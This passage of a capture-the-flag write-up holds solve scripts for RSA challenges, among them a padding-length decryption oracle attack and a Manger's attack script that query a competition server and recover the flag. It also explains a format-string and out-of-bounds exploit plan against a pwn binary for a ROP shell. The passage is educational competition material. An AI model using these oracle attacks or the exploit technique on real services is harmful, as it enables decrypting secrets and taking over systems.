    b'\xc0K*/\xfb{\xfd\xa36\xfe\'\xfc(l\xa5\xe1Nf\x17\xad\x9eZ"\xbd\xc2%rs\xbe\xb9\xf3\xc5e6\xeb\x9e\xceD\x86.\x03\xb2s\x95\xc2\xac}\xee \x9f\xb9\xbb\x87\x1c\x0b\t\x01D7\xcd\x05\xdcp\x84\x07K\xab\xc9\x14\x9e\x8b\xd5\x8e\xe4\xaeB\n(\r\xe3c\xbd\x97\xe9\x93&h5\xdf9\xaf%~\x9f&J\xf02\x9e\xd9JJe\xd6i\x85)\xd2\xb5\'\xe1x\xb6\xc5K\x84M\xbc_\x01\'\x80\xb5\xf5\x7f\xa1\x96\xbe\xe7\xb3R\xaa\xe7\xe0\x9c\xd4\xed\xde\n<\xdc\x16q\x10w\x8f\x1d\xa3XH\xe2M"C\xfa\x03\xdb\xf4\x00\xa0\xaf\x93=\x9fm\xb5\x94\xfa\xec\xf8\nd\xb1\x17\x8d\x84\x9f\xdfD\xb0FU\xd3\xc07q+\xcc|\xb7\xe7\x8dlk.\xa6S\xa3\x18\xbfi\x8e\xc2SW\\\xb4\x03o\xdd\xeb\xa41\x7fv\x8e\x07aka\x91i\xeb\xe0\xa6*\x17\x1f_*6\x90x\xcd\xaa$\xf9x\xadt\x00\xea\x01\x19\x11\xa9\xdd\xb6\xfa\x1e6\xa8<\x92\xf3w(\xbf;v\xe5\x92\n\xcd\x8ckD\xb1\x82\xe9\x16\x85\xbf\xbf81\xf6.\x9a\xbe\xe7\xf66+\xf4u\xce\xcf#\xb4i\x966\xbf\x96\xee568r\xc8\xd0\xfa\xf7\xfe\xd8>\x97j^\xbbc[\xc0\xe4\xf5\x9d\xb5\xac\xab2\xed\x90\x9cvf\x1a\xaa\xe2\xb27!h\xa5\xac\x0c\xff\xc8\x86F\x86\xaff\xdb\xc6\xc4\x94\xbd[\xf5\xf2\x85!\x1f\xf6\xb1.9\xc2\xf0>H\xd6 L\x9d\xe8\xf7V"\xfe"1\xf3I\xa9\xa9]\x10\x97&\xf6\xbb\xb3\xf4a_\x98\x85\x15v\xd4U\xfd\xeayj\xf4\x08b\xd95b\xf7\xcfI\xfc\x08k1\x8e\xc6\x98\xabY\x16fNRS-\x05<\xee\xe5\xc4\xe0\xad\x8aE\x03jL\xd5m~\x81\xfeqjw;0\xe5K\x889\xa9T\xa8\xc1/:\x96_\xee\x16\xe0\xca\xa6qm\xcb\xa5&\xd4\x94o\xa9\x94\xc6{sm\xc7\xf9\xff\xfe \xb3\xc0\x02\xc3\xe5O\xe8\xe7\x1d\xe0\xf4i\x07\xda\x97=\xfd\xc0\x0eW\xc0;\x8e(\x93\\G\x9bf\xd8\xcf0\x85'
)

ce = powmod(c, e, n)
# build table to speed up the calculations
# ce_pows[i] = powmod(ce, 1<<i, n)
# ce_pows_inv[i] = powmod(ce, -(1<<i), n)
ce_pows = [None] * 4096
ce_pows[0] = ce
ce_pows_inv = [None] * 4096
ce_pows_inv[0] = powmod(ce, -1, n)
for i in range(1, 4096):
    ce_pows[i] = (ce_pows[i - 1] * ce_pows[i - 1]) % n
    ce_pows_inv[i] = (ce_pows_inv[i - 1] * ce_pows_inv[i - 1]) % n
assert ce_pows[87] == powmod(ce, 1 << 87, n)
assert ce_pows_inv[63] == powmod(ce, -(1 << 63), n)

l = (powmod(ans, e, n) * powmod(c, -1, n)) % n
tbl = {}
for x in tqdm(range(4096), desc="build x table"):
    # ex = 1 << x
    # tbl[powmod(ce, ex, n) * l % n] = (x, -1)
    # tbl[powmod(ce, -ex, n) * l % n] = (x, +1)
    tbl[ce_pows[x] * l % n] = (x, -1)
    tbl[ce_pows_inv[x] * l % n] = (x, +1)

# for y, z in tqdm(
#     combinations(range(4096), 2), desc="search y z", total=4096 * 4095 // 2
# ):
#     # ey = 1 << y
#     # ez = 1 << z
#     # for yy, zz in product([1, -1], repeat=2):
#     #     t = powmod(ce, yy * ey + zz * ez, n)
#     #     if t in tbl:
#     #         print(tbl[t], y, z)
#     for (s1, t1), (s2, t2) in product([(+1, ce_pows), (-1, ce_pows_inv)], repeat=2):
#         t = t1[y] * t2[z] % n
#         if t in tbl:
#             print(tbl[t], (y, s1), (z, s2))
#             

# found (2439, -1) (981, -1) (2311, 1)
m = ans * powmod(c, -(-(1 << 2439) - (1 << 981) + (1 << 2311)), n) % n
print(long_to_bytes(m))
# actf{the_earthquake_in_the_room}

RSA-AES#

from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES
from secret import flag, d

assert len(flag) < 256

n = 0xbb7bbd6bb62e0cbbc776f9ceb974eca6f3d30295d31caf456d9bec9b98822de3cb941d3a40a0fba531212f338e7677eb2e3ac05ff28629f248d0bc9f98950ce7e5e637c9764bb7f0b53c2532f3ce47ecbe1205172f8644f28f039cae6f127ccf1137ac88d77605782abe4560ae3473d9fb93886625a6caa7f3a5180836f460c98bbc60df911637fa3f52556fa12a376e3f5f87b5956b705e4e42a30ca38c79e7cd94c9b53a7b4344f2e9de06057da350f3cd9bd84f9af28e137e5190cbe90f046f74ce22f4cd747a1cc9812a1e057b97de39f664ab045700c40c9ce16cf1742d992c99e3537663ede6673f53fbb2f3c28679fb747ab9db9753e692ed353e3551
e = 0x10001
assert pow(2,e*d,n)==2

enc = pow(bytes_to_long(flag),e,n)
print(enc)

k = get_random_bytes(32)
iv = get_random_bytes(16)
cipher = AES.new(k, AES.MODE_CBC, iv)

while 1:
	try:
		i = int(input("Enter message to sign: "))
		assert(0 < i < n)
		print("signed message (encrypted with military-grade aes-256-cbc encryption):")
		print(cipher.encrypt(pad(long_to_bytes(pow(i,d,n)),16)))
	except:
		print("bad input, exiting")

This challenge is a strange RSA decryption oracle, where the decrypted result is encrypted with AES CBC before being returned. The challenge sequence mentions RSA-OTP from the same CTF two years ago, leading to this writeup, and the original author's script was found on Discord.

The concept is to use the bit length of $c^d \pmod{n}$ to determine the length, effectively providing an $am < n$ oracle, allowing binary search on $a$ to reverse $m$.

In this challenge, the padded length also changes with the original bit length, so a similar concept can be used. From the padding, if the returned length is less than 272, it means $am < B = 2^{8 \times 255}$, and binary search can begin.

However, the problem is that $m$ is over 200 bytes, so $a$ is very small, and dividing only reveals the top bits of the flag. Referring to the original author's script, it was found that multiplying by larger numbers causes wrap over, where $(am \bmod{n}) < B$.

Rewriting $\bmod$ becomes $am - kn < B$, and knowing the top bits of $m$ allows estimating $k = \lfloor{\frac{am}{n}}\rfloor$, continuing the binary search. Finding the next range of $a$ for wrap over is tricky, so my solution was quite manual:

from pwn import *
import ast
from Crypto.Util.number import bytes_to_long, long_to_bytes
from random import randint

# context.log_level = 'debug'

n = 0xBB7BBD6BB62E0CBBC776F9CEB974ECA6F3D30295D31CAF456D9BEC9B98822DE3CB941D3A40A0FBA531212F338E7677EB2E3AC05FF28629F248D0BC9F98950CE7E5E637C9764BB7F0B53C2532F3CE47ECBE1205172F8644F28F039CAE6F127CCF1137AC88D77605782ABE4560AE3473D9FB93886625A6CAA7F3A5180836F460C98BBC60DF911637FA3F52556FA12A376E3F5F87B5956B705E4E42A30CA38C79E7CD94C9B53A7B4344F2E9DE06057DA350F3CD9BD84F9AF28E137E5190CBE90F046F74CE22F4CD747A1CC9812A1E057B97DE39F664AB045700C40C9CE16CF1742D992C99E3537663EDE6673F53FBB2F3C28679FB747AB9DB9753E692ED353E3551
e = 0x10001
enc = 8702343735025266604493255023455944506448203943421139140860292426782509680048873569587596911548140388664137318807031840409098358526949080521742044811655775937519290500584015066858945832554481838588845652546365303337275177311841968984511864709414904338587040274646253896911291865516895328016639201704613064462056129248165695806001948541939983934752397658730589917722952341689278968790138018539025744727334202968601465562656795710345742329370762196560147624069504644216320910078454455520823319751612174752365432199529820974601209221975964155055716974539394252799602068585830290371624396504384131654854623710049511046664
io = remote("challs.actf.co", 31500)


def oracle(c):
    io.sendlineafter(b"Enter message to sign: ", str(c % n).encode())
    io.recvline()
    return ast.literal_eval(io.recvlineS().strip())


# for i in range(1500, 1800):
#     l = len(oracle(pow(2,e*i,n)*enc%n))
#     print(i,l,'=' * 10 if l ==256 else '')
# exit()


# for i in range(800):
#     t = randint(2**1800, 2**1830)
#     l = len(oracle(pow(t, e, n) * enc % n))
#     print(t, l, "=" * 10 if l < 272 else "")
#     if l < 272:
#         break
# exit()

bound = 2 ** (8 * (223 + 16 + 16))


# def check(a):
#     # true if a*flag<bound
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag))<bound) == ret
#     return ret
# l = 1<<281
# r = 1<<282
# while r-l>=5:
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     if check(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes(bound//i))
# print(f'{l = }')
# print(f'{r = }')

# actf{the_letters_in_rsa_and_aes_for
l = 5106591256318838407683905460243764336959660291605761992637034245320889588676402619004
r = 5106591256318838407683905460243764336959660291605761992637034245320889588676402619008


# flag_approx = bound//((l+r)//2)
# old_l, old_r = l,r
# l=1<<417
# r=1<<421
# t = ((l+r)//2)*flag_approx//n
# l = (bound+(t*n))//(bound//old_l)
# r = (bound+(t*n))//(bound//old_r)
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# exit()

# actf{the_letters_in_rsa_and_aes_form_aries_if_you_th
l = 2876915576175161902638735420558619565332739305188016554901418502200422028281993863555513736990118237206528734750545634674214476
r = 2876915576175161902638735420558619565332739305188016554901418502200422028281993863555513736990118237206528734750545634674214479
t = 3004922629270658762035610041417503039161


# flag_approx = (bound+t*n)//((l+r)//2)
# old_l, old_r = l,r
# l = 2788595730112793363482939389816956118716055518453142516805245452365645530130649255772251254919244903425930540175264534619647173682810044137923730268625279210651085031363408490342314
# r = 1<<601
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i
l = 2788595730112793363482939389816956118717067625592558569122109372914710315564288760672236727384979003609179452086888918931820942394290026713628077108950197119875557345838695855595297
r = 2788595730112793363482939389816956118717067625592558569122109372914710315564288760672236727384979003609179452086888918931820942394290026713628077108950197119875557345838695855595299
t = 2912673031734900662395316884955179464520550584548675450510737837150340214830893378637155375253


# flag_approx = (bound+t*n)//((l+r)//2)
# print(long_to_bytes(flag_approx))
# old_l, old_r = l,r
# l=1<<772
# r=1<<774
# # t = ((l+r)//2)*flag_approx//n
# # l = (bound+(t*n))//(bound//old_l)
# # r = (bound+(t*n))//(bound//old_r)
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents
l = 24840289476811342962383671815400040884110176273867145778224832608416815242982030181294054541258343647207804706536065233120593270847750168599425772831619927338434418889926878315235329955265232757350783242378659093019491194921254464013
r = 24840289476811342962383671815400040884110176273867145778224832608416815242982030181294054541258343647207804706536065233120593270847750168599425772831619927338434418889926878315235329955265232757350783242378659093019491194921254464016
t = 25945546885231068689701081185467205998159541945356011842376833249771582355386007995626913844230778454571428210808075349499667131598098150206112170


# flag_approx = (bound+t*n)//((l+r)//2)
# print(long_to_bytes(flag_approx))
# old_l, old_r, old_t = l,r, t
# l=1<<838
# r=1<<839
# # t = ((l+r)//2)*flag_approx//n
# # l = (bound+(t*n))//(bound//old_l)
# # r = (bound+(t*n))//(bound//old_r)
# assert r > l
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')

# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself
l = 1832889850782397517082802171755189663406212347562527955378281744907439616857248067557309485708214209151091283518633170408049856462283054627491650905580659510813855170585637869897105855355559911173232727735746231855035969403764159886371703173313087968656
r = 1832889850782397517082802171755189663406212347562527955378281744907439616857248067557309485708214209151091283518633170408049856462283054627491650905580659510813855170585637869897105855355559911173232727735746231855035969403764159886371703173313087968660
t = 1914443452977158129230475067287573602778082100812605911269977627778078974619449456949834070683484894171059782628560370507794649112063505421027889511470023283214637956


# flag_approx = (bound+t*n)//((l+r)//2)
# print(long_to_bytes(flag_approx))
# old_l, old_r, old_t = l,r, t
# l = 1641550959518889204327060753293133298008071251322882615948833979994084362247932504494195196993273913632675611712933151143263106391572187617869133125707375497901514599490881950415967558553268221821769522254021292561850184626270325883529964926864747294627750945092499738589283659636318017597208125381434986915053393458318580088945335
# r=1<<1098
# # t = ((l+r)//2)*flag_approx//n
# # l = (bound+(t*n))//(bound//old_l)
# # r = (bound+(t*n))//(bound//old_r)
# # assert r > l
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself_or_something_anyway_aries_is_a
l = 1641550959518889204327060753293133298008071251322882615948833979994084362247932504494195196993273913632681730558092679835228121341433243540949243987915147127849677136846882565338958226278649038823205104414044774715949933967582465105018476900904220193700402953822673097109499902642615543847061004141051682855031147214750129290918080
r = 1641550959518889204327060753293133298008071251322882615948833979994084362247932504494195196993273913632681730558092679835228121341433243540949243987915147127849677136846882565338958226278649038823205104414044774715949933967582465105018476900904220193700402953822673097109499902642615543847061004141051682855031147214750129290918084
t = 1714591024571289765034361255424594471911146425175316747999600736043131001671162537597658924124232553096177195992917086193888676229220158251370110767248247595500193148598359476602370638082754919433992991681389215815122070005167052535264288005381


# flag_approx = (bound+t*n)//((l+r)//2)
# print(long_to_bytes(flag_approx))
# old_l, old_r, old_t = l,r, t
# l=1<<1285
# r=1<<1286
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself_or_something_anyway_aries_is_a_zodiac_sign_which_means_
l = 666107660458521541243215380951301474471376783825069107540423190425830915819095059072783324270868747829914983293073984498648548239892701754120954022763348528827144288600910102150524277984534841259233362446572662579749754548735798085478723700878977275859193617117626584040997931893710659862766269044625821599440962995816206934851402878867308816484181672266848496485789052244938919564218556
r = 666107660458521541243215380951301474471376783825069107540423190425830915819095059072783324270868747829914983293073984498648548239892701754120954022763348528827144288600910102150524277984534841259233362446572662579749754548735798085478723700878977275859193617117626584040997931893710659862766269044625821599440962995816206934851402878867308816484181672266848496485789052244938919564218560
t = 695745818548997146031596961508412710479974796693483588149882908704652154192883781979725829302780831947777349792683773656501063892778546886016728210171523148041289029707894329352734942032856303222697711791538372881954963927888035144482697872123563845558079741796255149413779106085785919654526962152479


# flag_approx = (bound+t*n)//((l+r)//2)
# print(long_to_bytes(flag_approx))
# old_l, old_r, old_t = l,r, t
# l = 1<<1483
# r = 1<<1484
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself_or_something_anyway_aries_is_a_zodiac_sign_which_means_that_the_two_cryptosystem
l = 267598435290787038785000518495795120189849974672934179871183761785819731525904252652413031666450265973305896047938823832697254554301986387284630118698155981810683872110970285526174947445552543232243974184723958049427881810663230582200255812436177259804355666659724978056721027294663099056249229465532402729717101567493772041449273109906137898884048531080358329322204154324632623223688183898761232674157828198036000046114160288830071154212772171004
r = 267598435290787038785000518495795120189849974672934179871183761785819731525904252652413031666450265973305896047938823832697254554301986387284630118698155981810683872110970285526174947445552543232243974184723958049427881810663230582200255812436177259804355666659724978056721027294663099056249229465532402729717101567493772041449273109906137898884048531080358329322204154324632623223688183898761232674157828198036000046114160288830071154212772171008
t = 279505106240123948314692378726509954547271822804357682452053593873927350472230939979456465118962227769441882090514511424351871563696988439390086360047718062578852779448454190663619562767700670755823394892188031298541165717859458230518462852962028646241370589564316273908127650239233769370282485093186817517870805516498704392695546184367558461283956438479400269


# flag_approx = (bound+t*n)//((l+r)//2)
# print(long_to_bytes(flag_approx))
# old_l, old_r, old_t = l,r, t
# l = 37627211912131687436880096876625049684468713732826036184018796780027148519869517942380374884047967048529738110102006623977571758627661600240209535896478099139294943940878294104947956966484015477951993823825938355432089671303813860801233153000276564710210040974091374642782381797237017228192690672034305536770456175912978554765853141809394223146030540577361882758257024263795290797461531379807476170514773878546706221800506607390255108719046874067517161347352491642359527544712521974723367428591189
# r = 1<<1650
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself_or_something_anyway_aries_is_a_zodiac_sign_which_means_that_the_two_cryptosystems_are_mutually_compat
l = 37627211912131687436880096876625049684468713732826036184018796780027148519869517942380374884047967048529738110102006623977571758627661600240210045683337130273185646423098679641576284718479986845914702724858502608406366221216399640190136769973825389380224750350410931391235696995751369134377248114592949267795163878364566636274103396943436516316606805635839776350312421759557164899000598078446570536486167268596290795596315472605141980079921097275480182920985271706716386979011369171224402535501425
r = 37627211912131687436880096876625049684468713732826036184018796780027148519869517942380374884047967048529738110102006623977571758627661600240210045683337130273185646423098679641576284718479986845914702724858502608406366221216399640190136769973825389380224750350410931391235696995751369134377248114592949267795163878364566636274103396943436516316606805635839776350312421759557164899000598078446570536486167268596290795596315472605141980079921097275480182920985271706716386979011369171224402535501429
t = 39301417631951703372894850038833823442285039026377811974765973372540562221465166236770753926271406427128064125853191238244457659724408756343102758233753469109598056133902659979888314998168416185052894160029440609089834407012611374547011641438400179447567523126310861827755103897257481528119680930686087174050522529534408569889254230417736847110349538456361530915392910677954130362896077098818312412305374553912


flag_approx = (bound + t * n) // ((l + r) // 2)
print(long_to_bytes(flag_approx))
old_l, old_r, old_t = l, r, t
l = 29808651182044202395161526438638499250467356820897103531466031080260466160601883954693978944153326581783908053680903595797444054912456745352533173167065465127079388979022228255354226131333720370147445313147194503816092984939561291128584036208838516222101490903987863746756463864580139223725509855111940761693194501219827742441025311558982608754381223637395316591827489626870115876892571490203325886163175102100856225880104171923577478616732083534202578515203236185114385838437398198094825347721266244693242373000953079413142535344107394366253873704069
r = 1 << 1829


def check2(a):
    # true if (a*flag-t*n)<2^(8*223)
    c = pow(a, e, n) * enc % n
    ret = len(oracle(c)) < 272
    # assert ((a*bytes_to_long(flag)%n)<bound) == ret
    # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
    return ret


while r - l >= 5:
    t = ((l + r) // 2) * flag_approx // n
    print((r - l).bit_length(), l, r)
    m = (l + r) // 2
    print(long_to_bytes((bound + t * n) // m))
    if check2(m):
        l = m
    else:
        r = m
for i in range(l, r):
    print(long_to_bytes((bound + t * n) // i))
print(f"{l = }")
print(f"{r = }")
print(f"{t = }")
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself_or_something_anyway_aries_is_a_zodiac_sign_which_means_that_the_two_cryptosystems_are_mutually_compatble_i_think??}
l = 29808651182044202395161526438638499250467356820897103531466031080260783293606069621827836156023219505031710214972591154711778724939067129078710617176460493666413542664493500557305544946799944222030130240871659822347851065661225370784228758147361629860146897117123496676822166885856619806201561733366867191494545671933761987571558156959049338056122848543586209411166987777284805523034512605321989508974682785326098985409612370630249252664835995069056301180003198475442771626340450638944750614623717983490400570960186063590346158522905988477341410194303
r = 29808651182044202395161526438638499250467356820897103531466031080260783293606069621827836156023219505031710214972591154711778724939067129078710617176460493666413542664493500557305544946799944222030130240871659822347851065661225370784228758147361629860146897117123496676822166885856619806201561733366867191494545671933761987571558156959049338056122848543586209411166987777284805523034512605321989508974682785326098985409612370630249252664835995069056301180003198475442771626340450638944750614623717983490400570960186063590346158522905988477341410194306
t = 31134973590030204511543097623588600229937365385836644522874327062576751468365379230629613557610735762428591993992911414874152831780705308218764828836582235263164478058266177542766364541592854102122398394352597371052054914660910742101741376154393006897145863520270550999839248820825693725475425474569621353403864176434140151517198771682069231414945158723762019615563223885222568539026325966427318379966491800642867958894619869388328023617980136998935939463245795948

Later, I learned that $(am \bmod{n}) < B$ oracle can be solved more easily using Manger's Attack. rkm0959_implements/Manger's_Attack is a handy implementation, making it easy to find the flag:

from pwn import *
import ast
from Crypto.Util.number import long_to_bytes
from subprocess import check_output

# context.log_level = 'debug'

n = 0xBB7BBD6BB62E0CBBC776F9CEB974ECA6F3D30295D31CAF456D9BEC9B98822DE3CB941D3A40A0FBA531212F338E7677EB2E3AC05FF28629F248D0BC9F98950CE7E5E637C9764BB7F0B53C2532F3CE47ECBE1205172F8644F28F039CAE6F127CCF1137AC88D77605782ABE4560AE3473D9FB93886625A6CAA7F3A5180836F460C98BBC60DF911637FA3F52556FA12A376E3F5F87B5956B705E4E42A30CA38C79E7CD94C9B53A7B4344F2E9DE06057DA350F3CD9BD84F9AF28E137E5190CBE90F046F74CE22F4CD747A1CC9812A1E057B97DE39F664AB045700C40C9CE16CF1742D992C99E3537663EDE6673F53FBB2F3C28679FB747AB9DB9753E692ED353E3551
e = 0x10001
c = 8702343735025266604493255023455944506448203943421139140860292426782509680048873569587596911548140388664137318807031840409098358526949080521742044811655775937519290500584015066858945832554481838588845652546365303337275177311841968984511864709414904338587040274646253896911291865516895328016639201704613064462056129248165695806001948541939983934752397658730589917722952341689278968790138018539025744727334202968601465562656795710345742329370762196560147624069504644216320910078454455520823319751612174752365432199529820974601209221975964155055716974539394252799602068585830290371624396504384131654854623710049511046664
io = remote("challs.actf.co", 31500)
# POW were added after I solved it the first way
io.recvuntil(b'proof of work: ')
out = check_output(io.recvlineS(),shell=True).strip()
io.sendlineafter(b'solution: ', out)

def oracle(c):
    io.sendlineafter(b"Enter message to sign: ", str(c % n).encode())
    io.recvline()
    return len(ast.literal_eval(io.recvlineS().strip())) < 272


B = 2 ** (8 * (223 + 16 + 16))


def Manger_Attack(c):
    f1 = 2
    while True:
        val = (pow(f1, e, n) * c) % n
        if oracle(val):
            f1 = 2 * f1
        else:
            break
    print('first')
    f12 = f1 // 2
    f2 = ((n + B) // B) * f12
    while True:
        val = (pow(f2, e, n) * c) % n
        if oracle(val):
            break
        else:
            f2 += f12
    print('second')
    m_min = (n + f2 - 1) // f2
    m_max = (n + B) // f2
    # note the ERRATA from https://github.com/GDSSecurity/mangers-oracle
    while m_min < m_max:
        print(long_to_bytes(m_min))
        f_tmp = (2 * B) // (m_max - m_min)
        I = (f_tmp * m_min) // n 
        f3 = (I * n + m_min - 1) // m_min
        val = (pow(f3, e, n) * c) % n
        if oracle(val):
            m_max = (I * n + B) // f3
        else:
            m_min = (I * n + B + f3 - 1) // f3
    return m_min

print(long_to_bytes(Manger_Attack(c)))
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself_or_something_anyway_aries_is_a_zodiac_sign_which_means_that_the_two_cryptosystems_are_mutually_compatble_i_think??}

Pwn#

caniride#

Decompiling with IDA reveals the following:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+0h] [rbp-440h] BYREF
  unsigned int i; // [rsp+4h] [rbp-43Ch]
  __gid_t rgid; // [rsp+8h] [rbp-438h]
  int v6; // [rsp+Ch] [rbp-434h]
  char format[64]; // [rsp+10h] [rbp-430h] BYREF
  char buf[1000]; // [rsp+50h] [rbp-3F0h] BYREF
  unsigned __int64 v9; // [rsp+438h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  puts("Welcome to blairuber!");
  printf("Name: ");
  __isoc99_scanf("%49s", format);
  for ( i = 0; (int)i <= 3; ++i )
    printf("%d) %s - %s\n", i, (&drivers)[i], (&desc)[i]);
  printf("Pick your driver: ");
  v3 = 0;
  __isoc99_scanf("%d", &v3);
  getchar();
  if ( v3 > 4 )
  {
    puts("Not enough drivers! Sorry.");
    exit(1);
  }
  sleep(3u);
  printf("Hi, this is %s your driver. Get in!\n", (&drivers)[v3]);
  sleep(3u);
  printf("So... tell me a little about yourself: ");
  v6 = read(0, buf, 0x3E7uLL);
  buf[v6] = 0;
  puts("Hmm, very interesting!");
  sleep(3u);
  printf("Well we're here. Bye, ");
  printf(format);
  puts("!");
  exit(0);
}

There are two main vulnerabilities: v3 can take negative values for OOB reading, and there's a format string vulnerability.

For OOB, I used -1 because drivers-1 points to __dso_handle, which points to itself, allowing text address leakage.

Next, using the format string vulnerability, the challenge requires reading the format string to leak the address, then placing the stack buffer, and finally calling printf before exiting. This means the address to write can be decided, but the value must be predetermined.

My idea was to overwrite exit@got to main, but the GOT entries are already libc addresses due to No RELRO (different from Partial RELRO). Since the value must be predetermined, only partial overwrite is possible. Observing, I found that partial overwriting exit@got to a one-gadget wasn't feasible, so I abandoned this approach.

After some time, I thought of overwriting fini_array's __do_global_dtors_aux because both are in the text section, ensuring 100% success in changing it to main, creating a loop. The first round leaks text and libc addresses using the format string while overwriting fini_array.

In the second round, with libc available, writing a one-gadget to exit@got was attempted, but none of the one-gadgets worked due to constraints (likely because fini_array affects r15, making many conditions unmet).

Finally, I realized the buf is large enough for a ROP chain. With many ret 0x?? or add rsp, 0x??; ret gadgets in libc, writing exit@got to one of these and calculating the offset allows the stack to reach the buf ROP chain, achieving ROP for a shell.

from pwn import *

context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
